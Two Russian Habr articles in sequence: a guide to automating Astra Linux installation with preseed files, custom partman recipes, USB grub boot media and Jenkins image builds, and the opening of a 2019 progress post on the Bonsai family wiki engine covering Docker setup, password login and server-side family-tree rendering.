~~Как "раскатать" ось на кучу устройств?~~ Что делать если перед вами стоит задача установить операционную систему семейства linux на большое количество устройств? Ходишь-бродишь среди леса устройств, подключаешь флешку и отвечаешь на одни и те же вопросы при установке системы. Пока не заблудишься...или не сойдёшь с ума в этой рутине...или поймёшь что поседел и зрение уже не то...или...Что-то я увлёкся. Конечно первым делом нужно открывать google! И он ответит: "Парень, не парься, используй preseed". И будет прав, т.к. в linux есть задокументированная возможность использования файла ответов (тот самый preseed.cfg). Если коротко, то вы формируете файл ответов, кладёте его в нужное место и система использует его для ответов на вопросы при установке. А вы в это время пьёте чай и всё такое. Но так ли всё гладко? Конечно нет! Welcome!
Основы. Где брать файл ответов и что с ним делать?
--------------------------------------------------
Эту информацию можно взять из документации Debian или wiki астры. Если коротко, то файл ответов можно взять для основы этот:
Пример файла ответов:
```
#### Contents of the preconfiguration file (for stretch)
### Localization
# Preseeding only locale sets language, country and locale.
d-i debian-installer/locale string en_US
# The values can also be preseeded individually for greater flexibility.
#d-i debian-installer/language string en
#d-i debian-installer/country string NL
#d-i debian-installer/locale string en_GB.UTF-8
# Optionally specify additional locales to be generated.
#d-i localechooser/supported-locales multiselect en_US.UTF-8, nl_NL.UTF-8
# Keyboard selection.
d-i keyboard-configuration/xkb-keymap select us
# d-i keyboard-configuration/toggle select No toggling
### Network configuration
# Disable network configuration entirely. This is useful for cdrom
# installations on non-networked devices where the network questions,
# warning and long timeouts are a nuisance.
#d-i netcfg/enable boolean false
# netcfg will choose an interface that has link if possible. This makes it
# skip displaying a list if there is more than one interface.
d-i netcfg/choose_interface select auto
# To pick a particular interface instead:
#d-i netcfg/choose_interface select eth1
# To set a different link detection timeout (default is 3 seconds).
# Values are interpreted as seconds.
#d-i netcfg/link_wait_timeout string 10
# If you have a slow dhcp server and the installer times out waiting for
# it, this might be useful.
#d-i netcfg/dhcp_timeout string 60
#d-i netcfg/dhcpv6_timeout string 60
# If you prefer to configure the network manually, uncomment this line and
# the static network configuration below.
#d-i netcfg/disable_autoconfig boolean true
# If you want the preconfiguration file to work on systems both with and
# without a dhcp server, uncomment these lines and the static network
# configuration below.
#d-i netcfg/dhcp_failed note
#d-i netcfg/dhcp_options select Configure network manually
# Static network configuration.
#
# IPv4 example
#d-i netcfg/get_ipaddress string 192.168.1.42
#d-i netcfg/get_netmask string 255.255.255.0
#d-i netcfg/get_gateway string 192.168.1.1
#d-i netcfg/get_nameservers string 192.168.1.1
#d-i netcfg/confirm_static boolean true
#
# IPv6 example
#d-i netcfg/get_ipaddress string fc00::2
#d-i netcfg/get_netmask string ffff:ffff:ffff:ffff::
#d-i netcfg/get_gateway string fc00::1
#d-i netcfg/get_nameservers string fc00::1
#d-i netcfg/confirm_static boolean true
# Any hostname and domain names assigned from dhcp take precedence over
# values set here. However, setting the values still prevents the questions
# from being shown, even if values come from dhcp.
d-i netcfg/get_hostname string unassigned-hostname
d-i netcfg/get_domain string unassigned-domain
# If you want to force a hostname, regardless of what either the DHCP
# server returns or what the reverse DNS entry for the IP is, uncomment
# and adjust the following line.
#d-i netcfg/hostname string somehost
# Disable that annoying WEP key dialog.
d-i netcfg/wireless_wep string
# The wacky dhcp hostname that some ISPs use as a password of sorts.
#d-i netcfg/dhcp_hostname string radish
# If non-free firmware is needed for the network or other hardware, you can
# configure the installer to always try to load it, without prompting. Or
# change to false to disable asking.
#d-i hw-detect/load_firmware boolean true
### Network console
# Use the following settings if you wish to make use of the network-console
# component for remote installation over SSH. This only makes sense if you
# intend to perform the remainder of the installation manually.
#d-i anna/choose_modules string network-console
#d-i network-console/authorized_keys_url string http://10.0.0.1/openssh-key
#d-i network-console/password password r00tme
#d-i network-console/password-again password r00tme
### Mirror settings
# If you select ftp, the mirror/country string does not need to be set.
#d-i mirror/protocol string ftp
d-i mirror/country string manual
d-i mirror/http/hostname string http.us.debian.org
d-i mirror/http/directory string /debian
d-i mirror/http/proxy string
# Suite to install.
#d-i mirror/suite string testing
# Suite to use for loading installer components (optional).
#d-i mirror/udeb/suite string testing
### Account setup
# Skip creation of a root account (normal user account will be able to
# use sudo).
#d-i passwd/root-login boolean false
# Alternatively, to skip creation of a normal user account.
#d-i passwd/make-user boolean false
# Root password, either in clear text
#d-i passwd/root-password password r00tme
#d-i passwd/root-password-again password r00tme
# or encrypted using a crypt(3) hash.
#d-i passwd/root-password-crypted password [crypt(3) hash]
# To create a normal user account.
#d-i passwd/user-fullname string Debian User
#d-i passwd/username string debian
# Normal user's password, either in clear text
#d-i passwd/user-password password insecure
#d-i passwd/user-password-again password insecure
# or encrypted using a crypt(3) hash.
#d-i passwd/user-password-crypted password [crypt(3) hash]
# Create the first user with the specified UID instead of the default.
#d-i passwd/user-uid string 1010
# The user account will be added to some standard initial groups. To
# override that, use this.
#d-i passwd/user-default-groups string audio cdrom video
### Clock and time zone setup
# Controls whether or not the hardware clock is set to UTC.
d-i clock-setup/utc boolean true
# You may set this to any valid setting for $TZ; see the contents of
# /usr/share/zoneinfo/ for valid values.
d-i time/zone string US/Eastern
# Controls whether to use NTP to set the clock during the install
d-i clock-setup/ntp boolean true
# NTP server to use. The default is almost always fine here.
#d-i clock-setup/ntp-server string ntp.example.com
### Partitioning
## Partitioning example
# If the system has free space you can choose to only partition that space.
# This is only honoured if partman-auto/method (below) is not set.
#d-i partman-auto/init_automatically_partition select biggest_free
# Alternatively, you may specify a disk to partition. If the system has only
# one disk the installer will default to using that, but otherwise the device
# name must be given in traditional, non-devfs format (so e.g. /dev/sda
# and not e.g. /dev/discs/disc0/disc).
# For example, to use the first SCSI/SATA hard disk:
#d-i partman-auto/disk string /dev/sda
# In addition, you'll need to specify the method to use.
# The presently available methods are:
# - regular: use the usual partition types for your architecture
# - lvm: use LVM to partition the disk
# - crypto: use LVM within an encrypted partition
d-i partman-auto/method string lvm
# If one of the disks that are going to be automatically partitioned
# contains an old LVM configuration, the user will normally receive a
# warning. This can be preseeded away...
d-i partman-lvm/device_remove_lvm boolean true
# The same applies to pre-existing software RAID array:
d-i partman-md/device_remove_md boolean true
# And the same goes for the confirmation to write the lvm partitions.
d-i partman-lvm/confirm boolean true
d-i partman-lvm/confirm_nooverwrite boolean true
# You can choose one of the three predefined partitioning recipes:
# - atomic: all files in one partition
# - home: separate /home partition
# - multi: separate /home, /var, and /tmp partitions
d-i partman-auto/choose_recipe select atomic
# Or provide a recipe of your own...
# If you have a way to get a recipe file into the d-i environment, you can
# just point at it.
#d-i partman-auto/expert_recipe_file string /hd-media/recipe
# If not, you can put an entire recipe into the preconfiguration file in one
# (logical) line. This example creates a small /boot partition, suitable
# swap, and uses the rest of the space for the root partition:
#d-i partman-auto/expert_recipe string \
# boot-root :: \
# 40 50 100 ext3 \
# $primary{ } $bootable{ } \
# method{ format } format{ } \
# use_filesystem{ } filesystem{ ext3 } \
# mountpoint{ /boot } \
# . \
# 500 10000 1000000000 ext3 \
# method{ format } format{ } \
# use_filesystem{ } filesystem{ ext3 } \
# mountpoint{ / } \
# . \
# 64 512 300% linux-swap \
# method{ swap } format{ } \
# .
# The full recipe format is documented in the file partman-auto-recipe.txt
# included in the 'debian-installer' package or available from D-I source
# repository. This also documents how to specify settings such as file
# system labels, volume group names and which physical devices to include
# in a volume group.
# This makes partman automatically partition without confirmation, provided
# that you told it what to do using one of the methods above.
d-i partman-partitioning/confirm_write_new_label boolean true
d-i partman/choose_partition select finish
d-i partman/confirm boolean true
d-i partman/confirm_nooverwrite boolean true
# When disk encryption is enabled, skip wiping the partitions beforehand.
#d-i partman-auto-crypto/erase_disks boolean false
## Partitioning using RAID
# The method should be set to "raid".
#d-i partman-auto/method string raid
# Specify the disks to be partitioned. They will all get the same layout,
# so this will only work if the disks are the same size.
#d-i partman-auto/disk string /dev/sda /dev/sdb
# Next you need to specify the physical partitions that will be used.
#d-i partman-auto/expert_recipe string \
# multiraid :: \
# 1000 5000 4000 raid \
# $primary{ } method{ raid } \
# . \
# 64 512 300% raid \
# method{ raid } \
# . \
# 500 10000 1000000000 raid \
# method{ raid } \
# .
# Last you need to specify how the previously defined partitions will be
# used in the RAID setup. Remember to use the correct partition numbers
# for logical partitions. RAID levels 0, 1, 5, 6 and 10 are supported;
# devices are separated using "#".
# Parameters are:
# \
#
#d-i partman-auto-raid/recipe string \
# 1 2 0 ext3 / \
# /dev/sda1#/dev/sdb1 \
# . \
# 1 2 0 swap - \
# /dev/sda5#/dev/sdb5 \
# . \
# 0 2 0 ext3 /home \
# /dev/sda6#/dev/sdb6 \
# .
# For additional information see the file partman-auto-raid-recipe.txt
# included in the 'debian-installer' package or available from D-I source
# repository.
# This makes partman automatically partition without confirmation.
d-i partman-md/confirm boolean true
d-i partman-partitioning/confirm\_write\_new\_label boolean true
d-i partman/choose\_partition select finish
d-i partman/confirm boolean true
d-i partman/confirm\_nooverwrite boolean true
## Controlling how partitions are mounted
# The default is to mount by UUID, but you can also choose "traditional" to
# use traditional device names, or "label" to try filesystem labels before
# falling back to UUIDs.
#d-i partman/mount\_style select uuid
### Base system installation
# Configure APT to not install recommended packages by default. Use of this
# option can result in an incomplete system and should only be used by very
# experienced users.
#d-i base-installer/install-recommends boolean false
# The kernel image (meta) package to be installed; "none" can be used if no
# kernel is to be installed.
#d-i base-installer/kernel/image string linux-image-686
### Apt setup
# You can choose to install non-free and contrib software.
#d-i apt-setup/non-free boolean true
#d-i apt-setup/contrib boolean true
# Uncomment this if you don't want to use a network mirror.
#d-i apt-setup/use\_mirror boolean false
# Select which update services to use; define the mirrors to be used.
# Values shown below are the normal defaults.
#d-i apt-setup/services-select multiselect security, updates
#d-i apt-setup/security\_host string security.debian.org
# Additional repositories, local[0-9] available
#d-i apt-setup/local0/repository string \
# http://local.server/debian stable main
#d-i apt-setup/local0/comment string local server
# Enable deb-src lines
#d-i apt-setup/local0/source boolean true
# URL to the public key of the local repository; you must provide a key or
# apt will complain about the unauthenticated repository and so the
# sources.list line will be left commented out
#d-i apt-setup/local0/key string http://local.server/key
# By default the installer requires that repositories be authenticated
# using a known gpg key. This setting can be used to disable that
# authentication. Warning: Insecure, not recommended.
#d-i debian-installer/allow\_unauthenticated boolean true
# Uncomment this to add multiarch configuration for i386
#d-i apt-setup/multiarch string i386
### Package selection
#tasksel tasksel/first multiselect standard, web-server, kde-desktop
# Individual additional packages to install
#d-i pkgsel/include string openssh-server build-essential
# Whether to upgrade packages after debootstrap.
# Allowed values: none, safe-upgrade, full-upgrade
#d-i pkgsel/upgrade select none
# Some versions of the installer can report back on what software you have
# installed, and what software you use. The default is not to report back,
# but sending reports helps the project determine what software is most
# popular and include it on CDs.
#popularity-contest popularity-contest/participate boolean false
### Boot loader installation
# Grub is the default boot loader (for x86). If you want lilo installed
# instead, uncomment this:
#d-i grub-installer/skip boolean true
# To also skip installing lilo, and install no bootloader, uncomment this
# too:
#d-i lilo-installer/skip boolean true
# This is fairly safe to set, it makes grub install automatically to the MBR
# if no other operating system is detected on the machine.
d-i grub-installer/only\_debian boolean true
# This one makes grub-installer install to the MBR if it also finds some other
# OS, which is less safe as it might not be able to boot that other OS.
d-i grub-installer/with\_other\_os boolean true
# Due notably to potential USB sticks, the location of the MBR can not be
# determined safely in general, so this needs to be specified:
#d-i grub-installer/bootdev string /dev/sda
# To install to the first device (assuming it is not a USB stick):
#d-i grub-installer/bootdev string default
# Alternatively, if you want to install to a location other than the mbr,
# uncomment and edit these lines:
#d-i grub-installer/only\_debian boolean false
#d-i grub-installer/with\_other\_os boolean false
#d-i grub-installer/bootdev string (hd0,1)
# To install grub to multiple disks:
#d-i grub-installer/bootdev string (hd0,1) (hd1,1) (hd2,1)
# Optional password for grub, either in clear text
#d-i grub-installer/password password r00tme
#d-i grub-installer/password-again password r00tme
# or encrypted using an MD5 hash, see grub-md5-crypt(8).
#d-i grub-installer/password-crypted password [MD5 hash]
# Use the following option to add additional boot parameters for the
# installed system (if supported by the bootloader installer).
# Note: options passed to the installer will be added automatically.
#d-i debian-installer/add-kernel-opts string nousb
### Finishing up the installation
# During installations from serial console, the regular virtual consoles
# (VT1-VT6) are normally disabled in /etc/inittab. Uncomment the next
# line to prevent this.
#d-i finish-install/keep-consoles boolean true
# Avoid that last message about the install being complete.
d-i finish-install/reboot\_in\_progress note
# This will prevent the installer from ejecting the CD during the reboot,
# which is useful in some situations.
#d-i cdrom-detect/eject boolean false
# This is how to make the installer shutdown when finished, but not
# reboot into the installed system.
#d-i debian-installer/exit/halt boolean true
# This will power off the machine instead of just halting it.
#d-i debian-installer/exit/poweroff boolean true
### Preseeding other packages
# Depending on what software you choose to install, or if things go wrong
# during the installation process, it's possible that other questions may
# be asked. You can preseed those too, of course. To get a list of every
# possible question that could be asked during an install, do an
# installation, and then run these commands:
# debconf-get-selections --installer > file
# debconf-get-selections >> file
#### Advanced options
### Running custom commands during the installation
# d-i preseeding is inherently not secure. Nothing in the installer checks
# for attempts at buffer overflows or other exploits of the values of a
# preconfiguration file like this one. Only use preconfiguration files from
# trusted locations! To drive that home, and because it's generally useful,
# here's a way to run any shell command you'd like inside the installer,
# automatically.
# This first command is run as early as possible, just after
# preseeding is read.
#d-i preseed/early\_command string anna-install some-udeb
# This command is run immediately before the partitioner starts. It may be
# useful to apply dynamic partitioner preseeding that depends on the state
# of the disks (which may not be visible when preseed/early\_command runs).
#d-i partman/early\_command \
# string debconf-set partman-auto/disk "$(list-devices disk | head -n1)"
# This command is run just before the install finishes, but when there is
# still a usable /target directory. You can chroot to /target and use it
# directly, or use the apt-install and in-target commands to easily install
# packages and run commands in the target system.
#d-i preseed/late\_command string apt-install zsh; in-target chsh -s /bin/zsh
```
Если что-то пойдёт не так (например, появятся дополнительные вопросы), всегда можно сделать на установленной вручную системе что-то вроде:
```
debconf-get-selections --installer > файл
debconf-get-selections >> файл
```
и получить список всех возможных вопросов при установке.
Допустим, файл ответов у нас есть (назовём его *preseed.cfg*). Куда его поместить, чтобы всё заработало? Это зависит от того какую установку вы хотите - *initrd, файловую или сетевую*. Изначально мы использовали метод *initrd* как самый надёжный (хоть и самый трудоёмкий). Суть его заключается в том, чтобы распаковать initrd исходного дистрибутива, поместить в корень preseed.cfg и запаковать. Выглядит это примерно так:
```
mkdir mnt irmod cd
sudo mount -o loop astra.iso mnt
rsync -a -H --exclude=TRANS.TBL mnt cd
umount mnt
cd irmod
sudo gzip -d < ../cd/install.amd/initrd.gz | sudo cpio --extract --make-directories --no-absolute-filenames
# Здесь копируем наш preseed.cfg
cp -f ../preseed.cfg preseed.cfg
find . | sudo cpio -H newc --create | sudo gzip -9 > ../cd/install.amd/initrd.gz
cd ../cd
md5sum `find -follow -type f` > ./md5sum.txt
cd ..
genisoimage -o Astra16.iso -r -J -c isolinux/boot.cat -b isolinux/isolinux.bin -no-emul-boot -boot-load-size 4 -boot-info-table -eltorito-alt-boot -e boot/grub/efi.img -no-emul-boot ./cd
```
### Динамическая разметка диска и LVM
Разметкой диска при автоустановке занимается *partman.* С его синтаксисом и особенностями работы можно ознакомиться в интернете. Пример разметки:
```
root ::
256 100 256 fat16
$primary{ }
method{ efi }
format{ } .
500 500 500 ext4
method{ format }
format{ }
use_filesystem{ }
filesystem{ ext4 }
mountpoint{ /boot } .
30720 30720 30720 ext4
method{ format }
format{ }
use_filesystem{ }
filesystem{ ext4 }
mountpoint{ / } .
500 1000 -1 ext4
method{ format }
format{ }
use_filesystem{ }
reserved_for_root{ 0 }
filesystem{ ext4 }
mountpoint{ /home } .
30720 30720 30720 ext4
method{ format }
format{ }
use_filesystem{ }
filesystem{ ext4 }
mountpoint{ /var } .
```
У partman есть несколько недостатков, один из них - негибкость. То есть, чтобы динамически выделить место, надо постараться. Запись *500 1000 -1 ext4* означает, что оставшееся место диска нужно выделить под этот раздел. Если в процентах, то это только проценты от объёма оперативной памяти. Вот и вся гибкость... У нас одной из задач стояло - выделение места в процентах от оставшегося места на диске. Пришлось решать проблему. В preseed есть возможность подключать внешние файлы с ответами:
```
d-i preseed/include string recipe.cfg
```
и мы вынесли *d-i partman/early\_command string* (выполнение пользовательских команд перед установкой системы) в файл recipe.cfg. Таким образом появляется возможность гибко оперировать вариантами разметки диска. Содержимое recipe.cfg:
```
d-i partman/early_command string \
debconf-set partman-auto/disk $(DSIZE_OLD=0; \
parted_devices | cut -f1,2 | { while read DISK DSIZE; do \
if [ $DSIZE -gt $DSIZE_OLD ]; then \
DEV=$DISK; \
DSIZE_OLD=$DSIZE; \
fi; \
done; \
echo "$DEV"; \
}); \
SIZE_OLD=0; \
for SIZE in $(parted_devices | cut -f2); do \
if [ $SIZE -gt $SIZE_OLD ]; then \
SIZE_OLD=$SIZE; \
fi; \
done; \
PERCENT=5; \
SNAP_SIZE=$(($SIZE_OLD/1024/1024*$PERCENT/100)); \
debconf-set partman-auto/method "lvm"; \
debconf-set partman-auto/expert_recipe "root :: \
200 200 200 free \
\$iflabel{ gpt } \
\$reusemethod{ } \
method{ efi } \
format{ } . \
500 500 500 ext4 \
\$defaultignore{ } \
method{ format } \
format{ } \
use_filesystem{ } \
filesystem{ ext2 } \
mountpoint{ /boot } . \
30720 30720 30720 ext4 \
\$lvmok{ } \
lv_name{ root } \
method{ lvm } \
format{ } \
use_filesystem{ } \
filesystem{ ext4 } \
mountpoint{ / } . \
30720 30720 30720 ext4 \
\$lvmok{ } \
lv_name{ var } \
method{ lvm } \
format{ } \
use_filesystem{ } \
filesystem{ ext4 } \
reserved_for_root{ 0 } \
mountpoint{ /var } . \
${SNAP_SIZE} ${SNAP_SIZE} ${SNAP_SIZE} ext4 \
\$lvmok{ } \
lv_name{ datasnapshots } \
\$defaultignore . \
500 1000 -1 ext4 \
\$lvmok{ } \
lv_name{ home } \
method{ lvm } \
format{ } \
use_filesystem{ } \
reserved_for_root{ 0 } \
filesystem{ ext4 } \
mountpoint{ /home } .";
```
Вы могли заметить, что здесь уже логическая разметка lvm. Выделено 5% от свободного места диска следующим образом: вычисляется соответствие проценты/размер и подставляется в разметку.
### Автоматизация обновлений Astra Linux
Для Astra Linux регулярно выходят обновления безопасности в виде репозиториев iso. Процесс обновления выглядит так: устанавливаем систему, и по wiki астры обновляем систему с помощью специальной утилиты *astra-update.* Эту операцию можно автоматизировать, поместив процедуру обновления в *d-i preseed/late\_command* (что-то вроде postinstall - всё что нужно сделать после установки системы, но до выключения). Также нужно будет позаботиться, чтобы образ с обновлениями находился внутри установочного образа (это можно сделать "заодно" с процедурой распаковывания/сборки образа при копировании preseed.cfg в initrd). Таким образом у нас будет установлена сразу обновлённая система. Но дальше ещё круче...
### Установка системы вместе с программным обеспечением компании и обновлениями
Здесь мы расскажем, как мы устанавливаем систему (сразу с обновлениями) плюс программное обеспечение компании без особого участия человека. Из-за особенностей реализации проекта было решено использовать usb накопители. Замысел такой: делаем загрузочный usb накопитель (устанавливаем на неё загрузчик grub), конфигурируем grub.cfg (правим параметры ядра и меню загрузки), разворачиваем сетевой репозиторий в закрытом сегменте с программным обеспечением компании.
Пример создания загрузочного usb накопителя (установки grub):
```
echo "###########################################"
echo " Разметка usb накопителя для загрузчика..."
echo "###########################################"
sudo parted -s /dev/sdb mklabel msdos
sudo parted -s /dev/sdb mkpart primary 1MiB 551MiB
sudo parted -s /dev/sdb set 1 esp on
sudo parted -s /dev/sdb set 1 boot on
sudo mkfs.fat -F32 /dev/sdb1
sudo parted -s /dev/sdb mkpart primary 551MiB 100%
sudo mkfs.ext4 /dev/sdb2
sudo mkdir /media/{efi,data}
sudo mount /dev/sdb1 /media/efi
sudo mount /dev/sdb2 /media/data
echo "##############################"
echo " Установка загрузчика grub..."
echo "##############################"
sudo grub-install \
--target=i386-pc \
--recheck \
--boot-directory="/media/data/boot" /dev/sdb
sleep 1
sudo grub-install \
--target=x86_64-efi \
--recheck \
--removable \
--efi-directory="/media/efi" \
--boot-directory="/media/data/boot"
```
иконфигурируем *grub.cfg* (меню загрузки), например:
```
menuentry "USER_SOFT_V1" {
load_video
insmod gzio
if [ x = xxen ]; then insmod xzio; insmod lzopio; fi
insmod part_msdos
insmod ext2
set root='hd0,msdos2'
set isofile="/iso/astra16.iso"
echo 'Загружается Linux 4.15.3-1 …'
linux /iso/vmlinuz iso-scan/filename=\isofile live-media=$isofile preseed/file=/hd-media/preseed/preseed_fly_lvm_update.cfg soft_hwtype=USER_SOFT_V1 quiet debian-installer/locale=ru debian-installer/language=ru keyboard-configuration/toggle=Ctrl+Shift keyboard-configuration/xkb-keymap=ru console-keymaps-at/keymap=ru astra-license/license=true
echo 'Загружается начальный виртуальный диск …'
initrd /iso/initrd.gz
}
menuentry "USER_SOFT_V2" {
...............
}
menuentry "USER_SOFT_V3" {
...............
}
```
Здесь по-порядку:
* */iso/astra16.iso*, */iso/initrd.gz и /iso/vmlinuz* это образ системы, образ initrd и образ ядра, которые мы заранее положили на usb накопитель;
* */hd-media/preseed/preseed\_fly\_lvm\_update.cfg* - один из сконфигурированных файлов автоответов, который тоже находится на usb накопителе (да, здесь мы используем файловую установку, т.е. файл автоответов лежит не в initrd). Файлы разметки диска (recipe) тоже находятся на флешке и подключаются в preseed c указанием полного пути. Например,
`d-i partman-auto/expert_recipe_file string /hd-media/recipe/recipe`
* *soft\_hwtype=USER\_SOFT\_V1 -* переменная, которую можно использовать в *d-i preseed/late\_command,* например, вот так:
`echo $soft_hwtype > /target/tmp/soft_hwtype;`
чтобы потом использовать в своих скриптах, например, для выбора варианта установки ПО (грубо говоря, чтобы связать выбранный пункт меню загрузчика с вариантом установки ПО);
* *debian-installer/locale=ru debian-installer/language=ru keyboard-configuration/toggle=Ctrl+Shift keyboard-configuration/xkb-keymap=ru console-keymaps-at/keymap=ru astra-license/license=true -* это необходимо, чтобы не было вопросов до загрузки initrd (в случае, когда preseed.cfg находится внутри initrd необходимости в этом нет);
Примерная структура каталогов на загрузочном usb накопителе выглядит так:
Итак, у нас есть накопитель, с которого мы можем загрузиться и выбрать меню grub с нужной нам вариацией софта. Но откуда брать сам софт? Мы организовали закрытый сегмент сети. На сервере установлены и настроены dhcp сервер, apache ну и сам локальный репозиторий с софтом компании (этот процесс досаточно подробно описан в интернете). Репозиторий на этапе установки системы можно подключить в preseed.cfg следующим образом:
```
d-i apt-setup/local0/repository string http://192.168.1.1/my_soft/ ./
d-i apt-setup/local0/key string http://192.168.1.1/repo_key.gpg
d-i apt-setup/local0/comment string my_soft_repo
```
Таким образом общая картина выглядит так: подготавливается установочный usb накопитель, загружаемся с него, в меню *grub* выбираем, с каким софтом будет установлена система, и всё... Занимаемся другими задачами. В итоге получим обновлённую систему с нужным программным обеспечением.
Автоматизация сборки образов Astra Linux в Jenkins
--------------------------------------------------
В рамках задачи потребовалось собрать несколько вариантов автоустановочных образов. Например, с fly и без него, с различной разметкой диска или с выводом изображения в последовательный порт rs-232. Решили всё это дело собирать в jenkins c использованием pipeline и jenkinsfile. Вот что получилось:
Для удобства создаём папки проектов fly и nofly (внутри каждой сама сборка):
внутри директории *Fly сборки*:
Пример *stage* jenkinsfile:
```
stage('AstraLinux-1.6-Fly-LVM-Base-Update'){
when { equals expected: "${fly}", actual: currentBuild.projectName }
environment {
SOURCE_PATH = "${env.WORKSPACE}"
PARTED = 'base'
UPD_FLG = 'true'
}
steps {
echo "===== Build AstraLinux-1.6-Fly-LVM-Base-Update ====="
sh './Astra16-Fly.sh'
script {
currentBuild.displayName = "AstraLinux-1.6-Fly"
currentBuild.description = "Build AutoInstall Distributive AstraLinux 1.6 Fly"
}
}
}
stage('AstraLinux-1.6-NoFly-Base-Update'){
.........
}
```
здесь:
* *PARTED = 'base'* - вариант разметки диска (передаётся в скрипт *Astra16-Fly.sh*);
* *UPD\_FLG = 'true'* - флаг, что нужен дистрибутив с обновлением.
При необходимости можно добавлять любые флаги и обрабатывать их в *Astra16-Fly.sh* (например, *RS232 = 'true'* и т.п.).
В *Astra16-Fly.sh* делается всё то, о чём писалось выше: загружается исходный образ системы -> распаковывается -> распаковывается initrd -> копируется нужный *preseed.cfg* (c нужной разметкой, например, в нашем случае '*base*') -> запаковывается initrd -> запаковывается образ системы. Названия артефактов (разных вариантов образов) генерируются с помощью переменных примерно вот так:
```
sudo genisoimage -o Astra16-NoFly-$PARTED$UPDATE$SWAP$RELEASE$LVM$RS.iso -r -J -c isolinux/boot.cat -b isolinux/isolinux.bin -no-emul-boot -boot-load-size 4 -boot-info-table -eltorito-alt-boot -e boot/grub/efi.img -no-emul-boot ./cd
```
где переменные $PARTED, $UPDATE, $SWAP и т.д. показывают, какую конфигурацию включает дистрибутив.
### Организация релизных сборок
Мы решили, что неплохо бы было собрать стабильные проверенные сборки в одно место, где любой желающий мог бы без труда найти то, что ему нужно. Поэтому для каждой из сборок была создана дополнительная (release), которая запускалась после основной:
Дополнительная сборка собирает всю информацию об артефактах остальных сборок, собранных с флагом release.
И формирует таблицу в виде html разметки с ссылками на релизные артефакты.
Затем для удобства пользователей создали финальную сборку релизов, которая собирала все релизные дистрибутивы со всех сборок.
И уже здесь пользователь может найти все релизные дистрибутивы в виде таблицы html. Также в планах сделать рассылку пользователям о сборке нового релизного дистрибутива.
### Нюансы, с которыми мы столкнулись
В целях безопасности изначально использовали usb накопители для установки систем. Образ записывается посредством dd на usb накопитель. Здесь обнаружили особенность. Дело в том что в preseed файле есть ответ, на какой диск ставить систему:
```
string debconf-set partman-auto/disk /dev/sda
```
и при установке, названия дисков менялись местами (т.е. назывались по-разному). Поэтому решили "детектить" жёсткий диск по размеру из соображений, что жёсткий диск целевого устройства всегда больше usb накопителя. Вычисляли таким образом:
```
d-i partman/early_command string \
DISK=$(DSIZE_OLD=0; \
parted_devices | cut -f1,2 | { while read DISK DSIZE; do \
if [ $DSIZE -gt $DSIZE_OLD ]; then \
DEV=$DISK; \
DSIZE_OLD=$DSIZE; \
fi; \
done; \
echo "$DEV"; \
}); \
debconf-set partman-auto/disk "$DISK"; \
debconf-set grub-installer/bootdev $DISK;
```
Что в итоге
-----------
Таким образом в нашей компании была построена автоматизация создания автоустановочных дистрибутивов для автоматизации подготовки устройств. Да, некоторые из вас навярняка скажут, что есть более эффективные способы и технологии массовой установки операционных систем. Действительно, зачем изобретать велосипед? Но мы решали задачу опираясь на конкретные требования (в том числе безопасности) и результат нас вполне устроил. В итоге мы избавились от массы рутинных задач и действий. И это прекрасно! Ведь сколько будет сэкономлено времени и нервов! | https://habr.com/ru/post/651431/ | null | ru | null |
# Фамильный вики-движок Bonsai: итоги 2019 года
В начале прошлого года я рассказывал про проект [Bonsai](https://habr.com/ru/post/438622/) — движок для создания семейного вики и фотоальбома с открытым исходным кодом. С тех пор проект планомерно развивался. За год сделано несколько фич, благодаря которым движок теперь значительно проще попробовать в у себя и приятнее использовать в дальнейшем.
Под катом — подробности, планы на будущее и немного bounty.
### Docker-образ
Установка первой версии Bonsai была весьма утомительным процессом из-за большого количества зависимостей: для работы необходимы рантайм .NET Core, PostgreSQL, Elasticsearch (а значит Java Runtime и плагин для поддержки русской морфологии), для сборки — еще .NET Core SDK, еще NodeJS для сборки фронта… Даже на фоне глобального усложнения современной веб-разработки это была задача только для сильных духом и многие изначально заинтересованные пользователи бросали ее на полпути.
Хватит это терпеть!
Теперь Bonsai поднимается в три элементарных действия за минуту:
1. Скачать [docker-compose.yml](https://github.com/impworks/bonsai/blob/master/docker-compose.yml).
2. Вписать вместо `@@YOUR_EMAIL@@` и `@@YOUR_IP@@` нужные значения.
3. Выполнить `docker-compose up -d`
### Авторизация по паролю
В первой версии использовался только один тип авторизации — через социальные сети. Для этого было много причин:
* Авторизация происходит в один клик
* Из коробки дается 2FA, восстановление пароля и прочие проверки безопасности
* Просто поддерживать в коде Bonsai
* Можно получить часть данных из профиля при регистрации
К сожалению, это вызывало и ряд проблем:
* Дополнительный сложный шаг при первоначальной установке
* Нельзя дать доступ человеку, у которого нет соцсетей (например, пожилому родственнику)
* Для некоторых данных (пол, возраст) соцсети требуют ручной проверки вашего приложения
Поэтому был добавлен второй тип авторизации — по логину и паролю, который включен по умолчанию.
Теперь шаг создания авторизационного приложения в соцсети можно пропустить. После старта Bonsai предложит зарегистрировать учетную запись администратора, где нужно будет ввести желаемый пароль — и все заработает.
Создать новую учетную запись с паролем можно в админке:
При использовании парольной авторизации следует помнить несколько вещей:
* Пользователь не может восстановить собственный пароль — это может сделать только администратор. Если администратор только один, авторизуется по паролю и этот пароль забыл — придется воспользоваться [скриптом](https://github.com/impworks/bonsai/issues/108#issuecomment-561527494) для сброса, который необходимо выполнить напрямую в БД.
* После 10 неудачных попыток подряд аккаунт также блокируется. Для разблокировки необходимо сменить пароль. Помимо ваших собственных действий блокировку могут вызвать вредоносные боты-краулеры, автоматически перебирающие пароли.
* У одной учетной записи может быть только один тип авторизации за все время. Сначала сделать учетку с паролем, а потом *добавить* к ней дополнительный логин через соцсети или вообще заменить его штатными средствами нельзя — только через ручные манипуляции с БД.
### Рендеринг фамильных деревьев на стороне сервера
Автоматическое построение фамильных деревьев — одна из самых главных возможностей Bonsai, но и самая хитрая.
Как я рассказывал в предыдущей статье, автоматически расположить блоки оптимальным образом — очень сложная задача. Люди пишут про это научные работы, вкладывают тысячи человекочасов и продают готовые компоненты за безумные деньги. К счастью, удалось найти бесплатную библиотеку [ELK.js](https://github.com/OpenKieler/elkjs), которая дает вполне приличные результаты.
Проблема с ELK.js была в том, что для клиентской библиотеки она очень долго работает. Можно регулировать результат через свойство `thoroughness` — чем больше значение, тем лучше график, но тем дольше он генерируется. Чтобы отрендерить понятное дерево на 50 человек, приходилось ждать около 30-40 секунд на каждое открытие страницы с деревом!
Теперь рендеринг происходит не на клиенте при каждом открытии, а на сервере при каждом изменении. Первое время после обновления контента придется подождать как раньше, зато потом страницы открываются мгновенно.
